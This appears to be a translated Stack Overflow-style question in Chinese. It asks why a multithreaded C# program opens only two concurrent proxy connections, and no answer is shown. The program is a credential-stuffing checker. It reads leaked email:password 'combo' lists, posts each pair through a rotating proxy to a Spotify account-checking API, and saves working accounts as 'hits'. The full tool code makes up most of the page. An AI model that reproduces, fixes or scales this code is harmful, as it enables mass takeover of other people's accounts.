首页 > 解决方案 > 多个线程运行,只有 2 个代理连接?

问题描述

我已经制作了一个向 api 发出请求并得到响应的程序。一切正常。

但是,当我尝试对请求进行多线程处理(20 个线程)时,我只能获得 2 个与代理的并发连接。

我的多线程代码:

//THREADS
for(int test=0; test<20; test++)
{
    tasks.Add(Task.Run(() => checkAcc()));
}

Task t = Task.WhenAll(tasks);

try
{
    t.Wait();
}
catch { }

我的功能是发出请求、获得响应并确定帐户是存活还是死亡:

void checkAcc()
        {
            //get combo
            string[] lines = File.ReadLines("combo.txt").ToArray();

            for (int i = 0; curr < lines.Length; curr++)
            {
                //title
                Console.Title = "Hits: " + hits + " | Dead: " + dead + " | Errors: " + errors;

                //get creds
                List<string> creds = lines[curr].Split(':').ToList<string>();

                //request
                MyWebRequest myRequest = new MyWebRequest("https://api.dw1.co/spotify/v2/check", "POST", "email=" + creds[0] + "&password=" + creds[1]);

                //response
                string response = myRequest.GetResponse();

                //check acc
                if (response.IndexOf("\"subscription\"", StringComparison.CurrentCultureIgnoreCase) > 0) /*assumption properties are inside double quotes*/
                {
                    curr++;
                    hits++;
                    Console.WriteLine("(+) Hit - " + lines[curr], Color.LightGreen);
                    File.AppendAllText("hits.txt", lines[curr] + Environment.NewLine);
                }
                else
                {
                    curr++;
                    dead++;
                    Console.WriteLine("(-) Dead - " + lines[curr], Color.Red);
                }
            }

        }

我的请求代码:

    public class MyWebRequest
    {

        private WebRequest request;
        private Stream dataStream;

        private string status;

        public String Status
        {
            get
            {
                return status;
            }
            set
            {
                status = value;
            }
        }

        public MyWebRequest(string url)
        {
            // Create a request using a URL that can receive a post.

            request = WebRequest.Create(url);

        }

        public MyWebRequest(string url, string method)
            : this(url)
        {

            if (method.Equals("GET") || method.Equals("POST"))
            {
                // Set the Method property of the request to POST.
                request.Method = method;
            }
            else
            {
                throw new Exception("Invalid Method Type");
            }
        }

        public MyWebRequest(string url, string method, string data)
            : this(url, method)
        {

            //proxy
            WebProxy myProxy = new WebProxy();
            Uri newUri = new Uri("http://usa.rotating.proxyrack.net:333");
            myProxy.Address = newUri;
            myProxy.Credentials = new NetworkCredential("MYUSERNAME", "MYPASSWORD");
            request.Proxy = myProxy;

            // Create POST data and convert it to a byte array.
            string postData = data;
            byte[] byteArray = Encoding.UTF8.GetBytes(postData);

            // Set the ContentType property of the WebRequest.
            request.ContentType = "application/x-www-form-urlencoded";

            // Set the ContentLength property of the WebRequest.
            request.ContentLength = byteArray.Length;

            // Get the request stream.
            dataStream = request.GetRequestStream();

            // Write the data to the request stream.
            dataStream.Write(byteArray, 0, byteArray.Length);

            // Close the Stream object.
            dataStream.Close();

        }

        public string GetResponse()
        {
            // Get the original response.
            WebResponse response = request.GetResponse();

            this.Status = ((HttpWebResponse)response).StatusDescription;

            // Get the stream containing all content returned by the requested server.
            dataStream = response.GetResponseStream();

            // Open the stream using a StreamReader for easy access.
            StreamReader reader = new StreamReader(dataStream);

            // Read the content fully up to the end.
            string responseFromServer = reader.ReadToEnd();

            // Clean up the streams.
            reader.Close();
            dataStream.Close();
            response.Close();

            return responseFromServer;
        }

    }

请注意,我一次允许 250 个连接,所以它不是限制我的代理。

标签: c#multithreadinghttp

解决方案


推荐阅读